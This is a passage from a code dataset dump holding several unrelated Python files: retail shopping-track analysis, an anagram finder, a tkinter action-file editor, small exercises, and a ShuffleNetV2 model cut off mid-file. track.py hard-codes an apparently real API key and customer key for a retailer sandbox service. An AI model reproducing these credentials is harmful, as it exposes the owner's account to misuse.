# End of tail()\r\n# End of SampleStack()\r\n","sub_path":"StochasticBlockPartition/code/c++/samplestack.py","file_name":"samplestack.py","file_ext":"py","file_size_in_byte":9551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"286091931","text":"from __future__ import division\n\nimport sys\nimport requests\nimport json\nfrom datetime import datetime\nfrom dateutil import tz\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport matplotlib.animation as animation\nimport matplotlib.patches as patches\nimport numpy as np\nfrom sklearn import linear_model\n\nimport time\n\nclass Map(object):\n def __init__(self, image_path, origin_x, origin_y, real_width, real_height):\n self.path = image_path\n self.img = mpimg.imread(image_path)\n self.img_height = self.img.shape[0]\n self.img_width = self.img.shape[1]\n self.origin_x = origin_x\n self.origin_y = origin_y\n self.real_width = real_width\n self.real_height = real_height\n\n\nclass Stop(object):\n DRIFT_THRESHOLD = 15\n MAX_SIMILAR_PRODUCTS = 2\n PRODUCT_DURATION = 11000\n\n def __init__(self, start, end, positions, times, drift):\n self.start = start\n self.end = end\n self.center = np.mean(positions[start:end+1], axis=0)\n self.duration = times[end] - times[start]\n self.drift = drift\n self.nproducts = 1 if self.drift>self.DRIFT_THRESHOLD else min(self.MAX_SIMILAR_PRODUCTS,\n self.duration // self.PRODUCT_DURATION)\n\n\nclass Track(object):\n STEP_WINDOW_SIZE = 40\n STOP_RADIUS = 1000\n DISTANCE_TOLERANCE = 5000\n GLOBAL_DIAMETER_THRESHOLD = 3000\n ATTENTION_SPAN = 7000\n COSINE_THRESHOLD = 1.8\n REGRESSION_THRESHOLD = 0.9\n\n def __init__(self, dataline, map_obj):\n from_zone = tz.gettz('UTC')\n to_zone = tz.gettz('America/New_York')\n self.start = datetime.fromtimestamp(float(dataline[0])/1000)\n self.start = self.start.replace(tzinfo=from_zone)\n self.start = self.start.astimezone(to_zone)\n self.end = datetime.fromtimestamp((float(dataline[1])-1)/1000)\n self.end = self.end.replace(tzinfo=from_zone)\n self.end = self.end.astimezone(to_zone)\n self.id = dataline[2]\n self.id_asset = dataline[3]\n self.type = dataline[4]\n self.map = map_obj\n self.positions = None\n self.times = None\n self.npoints = None\n self.duration = float(dataline[1])-float(dataline[0])\n self.l = None\n self.length = None\n self.v = None\n self.avg_v = None\n self.stops = None\n self.point_types = None\n self.nproducts = None\n self.set_positions()\n\n @staticmethod\n def _norm_rows(A):\n return np.sqrt(np.sum(A**2,axis=-1))\n\n def set_positions(self, online=False):\n if self.positions is None:\n if online:\n base_url = 'https://sandbox.retailerin.com/api/v1.1/session/deployment/200/{0}/trace'\n headers = {'X-CustomerKey': 'luca', 'X-ApiKey': 'd21511575018462c8254f0280972db3f'}\n try:\n r = requests.get(base_url.format(self.id), headers=headers)\n r.raise_for_status()\n json_data = r.json()\n except requests.exceptions.RequestException as e:\n raise e\n else:\n try:\n with open('./data/{0}.json'.format(self.id),'r') as json_file:\n json_data = json.load(json_file)\n except (ValueError, IOError) as e:\n raise e\n self.positions = np.array([(p['coordinates']['x'], p['coordinates']['y'])\n for p in json_data['result']])\n self.times = np.array([p['to'] for p in json_data['result']])\n self.npoints = self.times.size\n\n def set_l(self):\n if self.l is None:\n self.l = Track._norm_rows(self.positions[1:]-self.positions[:-1])\n\n def set_length(self):\n if self.length is None:\n self.set_l()\n self.length = np.sum(self.l)\n\n def set_v(self):\n if self.v is None:\n self.set_l()\n self.v = self.l/(self.times[1:]-self.times[:-1])\n\n def set_avg_v(self):\n if self.avg_v is None:\n self.set_length()\n self.avg_v = self.length / self.duration\n\n def set_stops(self):\n if self.stops is None:\n counter = np.zeros(self.npoints, dtype=np.int32)\n regr = linear_model.LinearRegression()\n for i in range(self.npoints):\n before_limit = max(i-Track.STEP_WINDOW_SIZE, 0)\n before_far = Track._norm_rows(self.positions[before_limit:i]-self.positions[i]) > Track.STOP_RADIUS\n while not True in before_far and before_limit != 0:\n counter[i] += Track.STEP_WINDOW_SIZE\n old_before_limit = before_limit\n before_limit = max(before_limit-Track.STEP_WINDOW_SIZE, 0)\n before_far = Track._norm_rows(self.positions[before_limit:old_before_limit] -\n self.positions[i]) > Track.STOP_RADIUS\n else:\n index = np.where(before_far)[0]\n if index.size:\n counter[i] += before_far.size - index[-1] - 1\n else:\n counter[i] += before_far.size\n after_limit = min(i+1+Track.STEP_WINDOW_SIZE, self.npoints)\n after_far = Track._norm_rows(self.positions[i+1:after_limit]-self.positions[i]) > Track.STOP_RADIUS\n while not True in after_far and after_limit != self.npoints:\n assert(after_far.size==Track.STEP_WINDOW_SIZE)\n counter[i] += Track.STEP_WINDOW_SIZE\n old_after_limit = after_limit\n after_limit = min(after_limit+Track.STEP_WINDOW_SIZE, self.npoints)\n after_far = Track._norm_rows(self.positions[old_after_limit:after_limit] -\n self.positions[i]) > Track.STOP_RADIUS\n else:\n index = np.where(after_far)[0]\n if index.size:\n counter[i] += index[0]\n else:\n counter[i] += after_far.size\n local_maxima = np.r_[True, counter[1:] > counter[:-1]] & \\\n np.r_[counter[:-1] > counter[1:], True]\n candidate_stops = np.where(local_maxima)[0]\n assigned = -1\n self.stops = []\n for s in candidate_stops:\n if s <= assigned:\n continue\n start_point = end_point = s\n before_distances = Track._norm_rows(self.positions[:s]-self.positions[s])\n back_points = np.where(np.r_[before_distances[:-1] <= before_distances[1:], False])[0]\n for j in range(back_points.size-1,-1,-1):\n if j==back_points.size-1:\n out_distance = np.sum(self.l[back_points[j]+1:s])\n elif back_points[j+1]==back_points[j]+1:\n start_point = back_points[j]\n continue\n else:\n out_distance = np.sum(self.l[back_points[j]+1:back_points[j+1]])\n if out_distance < Track.DISTANCE_TOLERANCE:\n start_point = back_points[j]\n else:\n break\n after_distances = Track._norm_rows(self.positions[s+1:]-self.positions[s])\n back_points = np.where(np.r_[False, after_distances[1:] <= after_distances[:-1]])[0]\n back_points += s+1\n for j in range(back_points.size):\n if j==0:\n out_distance = np.sum(self.l[s:back_points[j]-1])\n elif back_points[j-1]==back_points[j]-1:\n end_point = back_points[j]\n continue\n else:\n out_distance = np.sum(self.l[back_points[j-1]:back_points[j]-1])\n if out_distance < Track.DISTANCE_TOLERANCE:\n end_point = back_points[j]\n else:\n break\n if self.times[end_point]-self.times[start_point] < Track.ATTENTION_SPAN:\n continue\n if np.linalg.norm(self.positions[end_point] - self.positions[start_point]) > Track.GLOBAL_DIAMETER_THRESHOLD:\n continue\n directions = self.positions[start_point+1:end_point] - \\\n self.positions[start_point:end_point-1]\n directions = directions / (Track._norm_rows(directions)[None].T+1e-9)\n cosine_distance = 1-np.sum(directions[:-1]*directions[1:], axis=1)\n drift = np.sum(cosine_distance)\n if (self.type=='basket' and np.all(cosine_distance < Track.COSINE_THRESHOLD) or\n self.type=='cart' and np.all(cosine_distance < Track.COSINE_THRESHOLD-0.5)) \\\n and drift < Stop.DRIFT_THRESHOLD:\n continue\n X = self.positions[start_point:end_point+1]\n y = self.times[start_point:end_point+1]\n regr.fit(X,y)\n if regr.score(X,y) > Track.REGRESSION_THRESHOLD:\n continue\n self.stops.append(Stop(start_point, end_point, self.positions, self.times, drift))\n assigned = end_point\n\n def set_point_types(self):\n if self.point_types is None:\n self.set_stops()\n self.point_types = np.zeros(self.npoints, dtype=np.int8)\n if len(self.stops) > 0:\n j = 0\n for i in range(self.npoints):\n if self.stops[j].start<=i<=self.stops[j].end:\n self.point_types[i] = 2 if self.stops[j].drift > Stop.DRIFT_THRESHOLD else 1\n if i == self.stops[j].end:\n j += 1\n if j==len(self.stops):\n break\n\n def set_nproducts(self):\n self.set_stops()\n self.nproducts = sum(s.nproducts for s in self.stops)\n\n def update_boundary_stops(self, centers, radius):\n if self.stops:\n for j in (0,-1):\n while -len(self.stops)<=j=0 else -1\n self.set_nproducts()\n\n def analyze(self):\n self.set_l()\n self.set_length()\n self.set_v()\n self.set_avg_v()\n # start_time = time.time()\n self.set_stops()\n # print('Compute stops: {0} seconds'.format(time.time()-start_time))\n self.set_point_types()\n self.set_nproducts()\n\n def plot_v(self):\n self.set_npoints()\n self.set_v()\n plt.plot(self.times[1:]-self.times[0], self.v)\n plt.xlabel('Time')\n plt.ylabel('Velocity')\n plt.show()\n\n def plot_path(self):\n self.set_positions()\n self.set_stops()\n self.set_point_types()\n\n colors = np.array([(0,0,0.2),(0.5,0.5,0), (0.5,0,0), (0,0.5,0)])\n edgecolors = colors[self.point_types]\n facecolors = np.minimum(edgecolors+0.3,1)\n\n fig, ax = plt.subplots()\n ax.imshow(self.map.img, extent=[self.map.origin_x, self.map.origin_x+self.map.real_width,\n self.map.origin_y-self.map.real_height, self.map.origin_y])\n scat = ax.scatter(self.positions[:,0], self.positions[:,1], s=5, lw=0.2,\n edgecolors=edgecolors, facecolors=facecolors)\n fig.show()\n\n def animate_path(self):\n self.set_positions()\n self.set_stops()\n self.set_point_types()\n\n colors = np.array([(0,0,0.2),(0.5,0.5,0), (0.5,0,0), (0,0.5,0)])\n edgecolors = colors[self.point_types]\n facecolors = np.minimum(edgecolors+0.3,1)\n\n speed = 2000\n pause_interval = 20\n frames = int(np.floor((self.times[-1]-self.times[0])/speed))\n\n fig, ax = plt.subplots()\n ax.imshow(self.map.img, extent=[self.map.origin_x, self.map.origin_x+self.map.real_width,\n self.map.origin_y-self.map.real_height, self.map.origin_y])\n scat = ax.scatter([], [], s=5, lw=0.2)\n\n def update(frame_number):\n selected = self.times < self.times[0]+frame_number*speed\n scat.set_offsets(self.positions[selected])\n scat.set_facecolors(facecolors[selected])\n scat.set_edgecolors(edgecolors[selected])\n\n ani = animation.FuncAnimation(fig, update, frames=frames, interval=pause_interval,\n repeat=False)\n fig.show()\n","sub_path":"track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":12792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"219126494","text":"\"\"\"\nFile: anagram.py\nName:\n----------------------------------\nThis program recursively finds all the anagram(s)\nfor the word input by user and terminates when the\ninput string matches the EXIT constant defined\nat line 19\n\nIf you correctly implement this program, you should see the\nnumber of anagrams for each word listed below:\n * arm -> 3 anagrams\n * contains -> 5 anagrams\n * stop -> 6 anagrams\n * tesla -> 10 anagrams\n * spear -> 12 anagrams\n\"\"\"\n\n# Constants\nFILE = 'dictionary.txt' # This is the filename of an English dictionary\nEXIT = '-1' # Controls when to stop the loop\nfinal_lst = []\ncurrent_lst = []\ncurrent_w = ''\ndic = []\n\n\ndef main():\n print('Welcome to stanCode \"Anagram Generator\"' + \" (or -1 to quit)\")\n input_word = input(\"Find anagrams for: \")\n # 讀取字典可以單一function執行,這樣decomposition比較恰當\n read_dictionary()\n while input_word != EXIT:\n # read_dictionary(input_word)\n find_anagrams(input_word, [])\n print(str(len(final_lst)) + ' anagrams: ' + str(final_lst))\n input_word = input(\"Find anagrams for: \")\n\n\ndef read_dictionary():\n with open(FILE, 'r') as f:\n for line in f:\n #去除換行字元\n word = line.strip()\n dic.append(word)\n\n\ndef find_anagrams(s, current_lst):\n \"\"\"\n :param current_lst: list,\n :param s: str, targeted word for anagrams\n :return: list of anagrams\n 為了避免重複字母出現,使用index去執行排序。\n \"\"\"\n # 把index轉成英文單字\n target = ''\n for i in current_lst:\n target += s[i]\n # 先檢查開頭字有沒有在字典\n if has_prefix(target):\n if len(target) == len(s):\n # 檢查字典與答案欄\n if target in dic and target not in final_lst:\n print('Searching...')\n final_lst.append(target)\n print('Found: ' + target)\n # final_lst.append(current_lst)\n # print('Found: ' + str(current_lst))\n else:\n # 會有重複字母問題,所以要用index去尋找與排序\n for i in range(len(s)):\n if i not in current_lst:\n # choose\n current_lst.append(i)\n # explore\n find_anagrams(s, current_lst)\n # unchoose\n current_lst.pop()\n\n\n # for char in s:\n # if char in current_lst:\n # pass\n # else:\n # current_lst.append(char)\n # find_anagrams(s, current_word, current_lst)\n # current_lst.pop()\n\n\ndef has_prefix(sub_s):\n \"\"\"\n :param sub_s: str, word that we can look up in the dic\n :return: bool, see if the recursion goes on\n \"\"\"\n for word in dic:\n if word.startswith(sub_s):\n return True\n # 這邊不能寫else,不然一但檢查到某一個字不是target的開頭時,就會return False\n # 應該要檢查完全部字典中的字,都沒 有target開頭的話,再 return False\n # else:\n # return False\n return False\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"207064552","text":"# -*- coding: UTF-8 -*-\n# action.с окно - преобразование action-текста(tk_text) во внутреннее представление(web_action), и обратно\"\n\nimport os\n\nimport tkinter as tk\n\nimport lr_lib\nimport lr_lib.gui.etc.gui_other\nimport lr_lib.gui.action._other\nimport lr_lib.gui.action.act_backup\nimport lr_lib.core.var.vars as lr_vars\n\n\nclass TkTextWebSerialization(lr_lib.gui.action.act_backup.ActBackup):\n \"\"\"преобразование action-текста(tk_text) во внутреннее представление(web_action), и обратно\"\"\"\n\n def __init__(self):\n lr_lib.gui.action.act_backup.ActBackup.__init__(self)\n\n self.backup_open_button = tk.Button(\n self.file_bar, text='backup_open', background='orange', font=lr_vars.DefaultFont + ' bold',\n command=lambda *a: self.open_action_dialog(title=True, folder=lr_vars.BackupFolder))\n\n self.save_action_button = tk.Button(\n self.file_bar, text='save', font=lr_vars.DefaultFont + ' bold', command=self.save_action_file)\n\n self.open_button = tk.Button(\n self.file_bar, text='open', font=lr_vars.DefaultFont, command=self.open_action_dialog)\n return\n\n def web_action_to_tk_text(self, websReport=False, highlight_apply=True, gui_reset=True) -> None:\n \"\"\"from self.web_action to self.tk_text\"\"\"\n text = self.web_action.to_str(websReport=websReport)\n self.tk_text.new_text_set(text)\n\n if gui_reset:\n self.show_info()\n self.widj_reset()\n lr_vars.Window.setSortKeys()\n lr_vars.Window.set_maxmin_inf(lr_vars.AllFiles)\n\n if highlight_apply: # подсветка текста, при изменении\n self.tk_text.highlight_apply()\n return\n\n def tk_text_to_web_action(self, text=None, websReport=True, highlight_apply=True, gui_reset=True) -> None:\n \"\"\"from self.web_action to self.tk_text\"\"\"\n if text is None:\n text = self.tk_text.get(1.0, tk.END)\n\n # сохранить позицию с тексте, перед его заменой\n pos = self.tk_text.cursor_position\n\n self.web_action.set_text_list(text, websReport=websReport)\n self.web_action_to_tk_text(websReport=False, highlight_apply=highlight_apply, gui_reset=gui_reset)\n\n # востановить позицию с тексте\n self.tk_text.mark_set(\"insert\", pos)\n self.tk_text.focus_set()\n self.tk_text.see(\"insert\")\n return\n\n def open_action(self, file=None, errors='replace', callback=None) -> None:\n \"\"\"сформировать action.c\"\"\"\n self.action_file = file or lr_lib.gui.action._other.get_action_file(lr_vars.VarFilesFolder.get())\n\n if os.path.isfile(self.action_file):\n with open(self.action_file, errors=errors, encoding=lr_vars.VarEncode.get()) as text:\n self.tk_text_to_web_action(text=text, websReport=True)\n if callback:\n callback()\n return\n\n def save_action_file(self, file_name=None, errors='replace', websReport=True) -> None:\n \"\"\"текст to WEB_ACTION - сохранить текст action.c окна\"\"\"\n self.tk_text_to_web_action(websReport=websReport)\n\n if file_name is None:\n file_name = tk.filedialog.asksaveasfilename(\n initialdir=os.getcwd(),\n filetypes=((\"action.c\", \"*.c\"), (\"all\", \"*.*\")),\n title='сохранить текст action.c окна',\n parent=self,\n )\n if file_name:\n with open(file_name, 'w', errors=errors, encoding=lr_vars.VarEncode.get()) as act:\n act.write(self.tk_text.get(1.0, tk.END))\n return\n\n def open_action_dialog(self, *a, title=False, folder=os.getcwd()) -> None:\n \"\"\"открыть файл\"\"\"\n if title:\n af = tk.filedialog.askopenfilename(initialdir=folder, parent=self, filetypes=(\n (\"%s_backup_*.c\" % self.id_, \"%s_backup_*.c\" % self.id_), (\"all\", \"*.*\")),\n title='backup({})'.format(self.id_))\n else:\n af = tk.filedialog.askopenfilename(initialdir=folder, parent=self, filetypes=(\n (\"action.c\", \"*.c\"), (\"all\", \"*.*\")))\n if af:\n self.open_action(file=af)\n return\n\n def show_info(self) -> None:\n \"\"\"всякая инфа\"\"\"\n len_all_files = len(lr_vars.AllFiles)\n all_infs = len(list(lr_lib.core.etc.other.get_files_infs(lr_vars.AllFiles)))\n\n lr_vars.Window.last_frame['text'] = \"snapshots: {i} inf's | файлов: {f} | {d}\".format(\n d=lr_vars.VarFilesFolder.get(), f=len_all_files, i=all_infs)\n\n any_w = len(tuple(self.web_action.get_web_all()))\n snap_w = len(self.web_action.action_infs)\n files = len([f for f in lr_vars.AllFiles if any(map(\n self.web_action.action_infs.__contains__, f['Snapshot']['Nums']))])\n\n dsnap_w = len(self.web_action.drop_infs)\n dfiles = len(self.web_action.drop_files)\n\n t = \"action.c web_* : любых={any_w}, (Snapshot's / файлов_ответов) = ({snap_w} / {files}) |\" \\\n \" Удалено: ({dsnap_w} / {dfiles})\".format(\n any_w=any_w, snap_w=snap_w, files=files, dsnap_w=dsnap_w, dfiles=dfiles)\n self.middle_bar['text'] = t\n\n if self.web_action.drop_infs or self.web_action.drop_files:\n lr_vars.Logger.debug('Удалено в action.c: inf: {il}, файлов : {fl} | Найдено: {ai} inf'.format(\n il=dsnap_w, fl=dfiles, ai=snap_w), parent=self)\n return\n\n def widj_reset(self) -> None:\n \"\"\"обновить виджеты\"\"\"\n self.transaction.clear()\n self.transaction.extend(lr_lib.gui.etc.gui_other.get_transaction(self.tk_text.get(1.0, tk.END)))\n return\n","sub_path":"lr_lib/gui/action/act_serializ.py","file_name":"act_serializ.py","file_ext":"py","file_size_in_byte":5993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"301044508","text":"#This program asks the user for three numbers. \r\n# The program then prints out their product, that is, the numbers multiplied by each other. \r\n# There is, however, something wrong with the program - it doesn't work quite right, as you can see if you run it.\r\n\r\nnumber1 = int(input(\"Please type in the first number: \"))\r\nnumber2 = int(input(\"Please type in the second number: \"))\r\nnumber3 = int(input(\"Please type in the third number: \"))\r\n\r\nproduct = number1 * number2 * number3\r\n\r\nprint(\"The product is\", product)\r\n","sub_path":"Part 1/17. Fix the code Product.py","file_name":"17. Fix the code Product.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"428549070","text":"# 2579번 (실버3)\n# 다이나믹 프로그래밍\n\nfrom sys import stdin\nfrom collections import deque\ninput = stdin.readline\n\nn = int(input())\nstair = []\nfor _ in range(n):\n stair.append(int(input()))\ndp = deque()\ndp.append(stair[0])\nif n > 1:\n dp.append(stair[0] + stair[1])\nif n > 2:\n dp.append(max(stair[0]+stair[2], stair[1]+stair[2]))\nfor i in range(3, n):\n dp.append(max(stair[i]+dp[i-2], stair[i]+stair[i-1]+dp[i-3]))\nprint(dp.pop())","sub_path":"Baekjoon/실버/계단오르기.py","file_name":"계단오르기.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"32433453","text":"import math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the angryProfessor function below.\r\ndef angryProfessor(k, a):\r\n\r\n a.sort()\r\n\r\n count = 0\r\n\r\n for i in range(k+1):\r\n\r\n if a[i] <= 0:\r\n count+=1\r\n else:\r\n break\r\n\r\n if count < k:\r\n return \"YES\"\r\n else:\r\n return \"NO\"\r\n\r\n\r\nt = int(input())\r\n\r\nfor t_itr in range(t):\r\n nk = input().split()\r\n\r\n n = int(nk[0])\r\n\r\n k = int(nk[1])\r\n\r\n a = list(map(int, input().rstrip().split()))\r\n\r\n result = angryProfessor(k, a)\r\n\r\n print(result, '\\n')\r\n\r\n","sub_path":"Personal_Projects/AngryProfessor.py","file_name":"AngryProfessor.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"147924954","text":"import torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nimport math\ntry:\n from .blocks import ShuffleV2Block\nexcept:\n from blocks import ShuffleV2Block\nimport torchsummary\n# import dsntnn\nBN_MOMENTUM = 0.1\n\nclass DUC(nn.Module):\n '''\n Initialize: inplanes, planes, upscale_factor\n OUTPUT: (planes // upscale_factor^2) * ht * wd\n '''\n\n def __init__(self, inplanes, planes, upscale_factor=2):\n super(DUC, self).__init__()\n self.conv = nn.Conv2d(\n inplanes, planes, kernel_size=3, padding=1, bias=False)\n self.bn = nn.BatchNorm2d(planes, momentum=0.1)\n self.relu = nn.ReLU(inplace=True)\n self.pixel_shuffle = nn.PixelShuffle(upscale_factor)\n\n def forward(self, x):\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n x = self.pixel_shuffle(x)\n return x\n\nclass CBR(nn.Module):\n def __init__(self,inchannels,outchannels):\n super(CBR,self).__init__()\n self.conv3x3 = nn.Conv2d(inchannels,outchannels,kernel_size=3,stride=1,padding=1,bias=False)\n self.bn = nn.BatchNorm2d(outchannels)\n self.relu = nn.ReLU(inplace=True)\n\n for m in self.modules():\n if isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n #nn.init.normal_(m.weight, std=0.01) \n\n def forward(self,x):\n x = self.conv3x3(x)\n x = self.bn(x)\n x = self.relu(x)\n\n return x\n\nclass CB(nn.Module):\n def __init__(self,inchannels):\n super(CB,self).__init__()\n self.conv3x3 = nn.Conv2d(inchannels,inchannels, kernel_size=3,stride=1,padding=1,bias=False)\n self.bn = nn.BatchNorm2d(inchannels)\n \n for m in self.modules():\n if isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n #nn.init.normal_(m.weight, std=0.01)\n\n def forward(self,x):\n x = self.conv3x3(x)\n x = self.bn(x)\n\n return x\n\nclass Concat(nn.Module):\n def forward(self,*feature):\n out = torch.cat(feature,dim=1)\n return out\n\n\ndef initialize_layer(layer):\n if isinstance(layer, nn.Conv2d):\n nn.init.normal_(layer.weight, std=0.01)\n if layer.bias is not None:\n nn.init.constant_(layer.bias, val=0)\n\n for layer in self.context:\n for m in layer.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.normal_(m.weight, std=0.01)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n if isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n\ndef fill_fc_weights(layers):\n for m in layers.modules():\n if isinstance(m, nn.Conv2d):\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n\n\ndef fill_up_weights(up):\n w = up.weight.data\n f = math.ceil(w.size(2) / 2)\n c = (2 * f - 1 - f % 2) / (2. * f)\n for i in range(w.size(2)):\n for j in range(w.size(3)):\n w[0, 0, i, j] = \\\n (1 - math.fabs(i / f - c)) * (1 - math.fabs(j / f - c))\n for c in range(1, w.size(0)):\n w[c, 0, :, :] = w[0, 0, :, :]\n\nclass Interpolate(nn.Module):\n def __init__(self, scale, mode):\n super(Interpolate, self).__init__()\n self.scale = scale\n self.mode = mode\n \n def forward(self, x):\n x = F.interpolate(x, scale_factor=self.scale, mode=self.mode, align_corners=False)\n return x\n\n\nclass Interpolate(nn.Module):\n def __init__(self, scale, mode):\n super(Interpolate, self).__init__()\n self.scale = scale\n self.mode = mode\n \n def forward(self, x):\n x = F.interpolate(x, scale_factor=self.scale, mode=self.mode, align_corners=False)\n return x\n\ndef conv_1x1_bn(inp, oup):\n return nn.Sequential(\n nn.Conv2d(inp, oup, 1, 1, 0, bias=False),\n nn.BatchNorm2d(oup),\n nn.ReLU(inplace=True)\n )\ndef conv(in_channels, out_channels, kernel_size=3, padding=1, bn=True, dilation=1, stride=1, relu=True, bias=True):\n modules = [nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding, dilation, bias=bias)]\n if bn:\n modules.append(nn.BatchNorm2d(out_channels))\n if relu:\n modules.append(nn.ReLU(inplace=True))\n return nn.Sequential(*modules)\nclass RefinementStageBlock(nn.Module):\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.initial = conv(in_channels, out_channels, kernel_size=1, padding=0, bn=False)\n self.trunk = nn.Sequential(\n conv(out_channels, out_channels),\n conv(out_channels, out_channels, dilation=2, padding=2)\n )\n\n def forward(self, x):\n initial_features = self.initial(x)\n trunk_features = self.trunk(initial_features)\n return initial_features + trunk_features\n\n\nclass UShapedContextBlock(nn.Module):\n def __init__(self, in_channels, to_onnx=False):\n super().__init__()\n self.to_onnx = to_onnx\n self.encoder1 = nn.Sequential(\n conv(in_channels, in_channels*2, stride=2),\n conv(in_channels*2, in_channels*2),\n )\n self.encoder2 = nn.Sequential(\n conv(in_channels*2, in_channels*2, stride=2),\n conv(in_channels*2, in_channels*2),\n )\n self.decoder2 = nn.Sequential(\n conv(in_channels*2 + in_channels*2, in_channels*2),\n conv(in_channels*2, in_channels*2),\n )\n self.decoder1 = nn.Sequential(\n conv(in_channels*3, in_channels*2),\n conv(in_channels*2, in_channels)\n )\n\n def forward(self, x):\n e1 = self.encoder1(x)\n e2 = self.encoder2(e1)\n\n size_e1 = (e1.size()[2], e1.size()[3])\n size_x = (x.size()[2], x.size()[3])\n if self.to_onnx: # Need interpolation to fixed size for conversion\n size_e1 = (16, 16)\n size_x = (32, 32)\n d2 = self.decoder2(torch.cat([e1, F.interpolate(e2, size=size_e1,\n mode='bilinear', align_corners=False)], 1))\n d1 = self.decoder1(torch.cat([x, F.interpolate(d2, size=size_x,\n mode='bilinear', align_corners=False)], 1))\n return d1\nclass ShuffleNetV2(nn.Module):\n def __init__(self, input_size=224, n_class=1000, model_size='1.5x'):\n super(ShuffleNetV2, self).__init__()\n print('model size is ', model_size)\n\n self.stage_repeats = [4, 8, 4]\n self.model_size = model_size\n if model_size == '0.5x':\n self.stage_out_channels = [-1, 24, 48, 96, 192, 384]\n elif model_size == '1.0x':\n self.stage_out_channels = [-1, 24, 116, 232, 464]\n elif model_size == '1.5x':\n self.stage_out_channels = [-1, 24, 176, 352, 704]\n elif model_size == '2.0x':\n self.stage_out_channels = [-1, 24, 244, 488, 976]\n else:\n raise NotImplementedError\n\n # building first layer\n input_channel = self.stage_out_channels[1]\n self.first_conv = nn.Sequential(\n nn.Conv2d(3, input_channel, 3, 2, 1, bias=False),\n nn.BatchNorm2d(input_channel),\n nn.ReLU(inplace=True),\n )\n\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n output_channel = self.stage_out_channels[2]\n inp, outp, stride = input_channel, output_channel, 2\n self.shuff_1 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n input_channel = output_channel\n inp, outp, stride = input_channel // 2, output_channel, 1\n self.shuff_2 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_3 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_4 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n\n output_channel = self.stage_out_channels[3]\n inp, outp, stride = input_channel, output_channel, 2\n self.shuff_5 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n input_channel = output_channel\n inp, outp, stride = input_channel // 2, output_channel, 1\n self.shuff_6 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_7= ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n\n self.shuff_8 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_9 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n\n self.shuff_10 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_11 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_12 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n output_channel = self.stage_out_channels[4]\n inp, outp, stride = input_channel, output_channel, 2\n\n self.shuff_13 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n input_channel = output_channel\n inp, outp, stride = input_channel//2, output_channel, 1\n\n self.shuff_14 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.shuff_15 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n\n self.shuff_16 = ShuffleV2Block(inp, outp, mid_channels=outp // 2, ksize=3, stride=stride)\n self.conv_last = conv_1x1_bn(input_channel, self.stage_out_channels[-1])\n self.conv_compress = nn.Conv2d(self.stage_out_channels[-1], 512, kernel_size = 1, stride = 1, padding=0, bias=False)\n\n self.duc1 = DUC(512, 1024, upscale_factor=2)\n self.duc2 = DUC(256, 512, upscale_factor=2)\n self.duc3 = DUC(128, 256, upscale_factor=2)\n\n self.heads = {\n 'hm': 1,\n 'wh': 2, \n 'lm': 10,\n 'reg': 2\n }\n\n for head in self.heads:\n out_c = self.heads[head]\n fc = nn.Sequential(\n nn.Conv2d(64, 128,\n kernel_size=1, padding=0, bias=True),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, out_c, \n kernel_size=1, stride=1, \n padding=0, bias=True))\n if 'hm' in head:\n fc[-1].bias.data.fill_(-2.19)\n else:\n 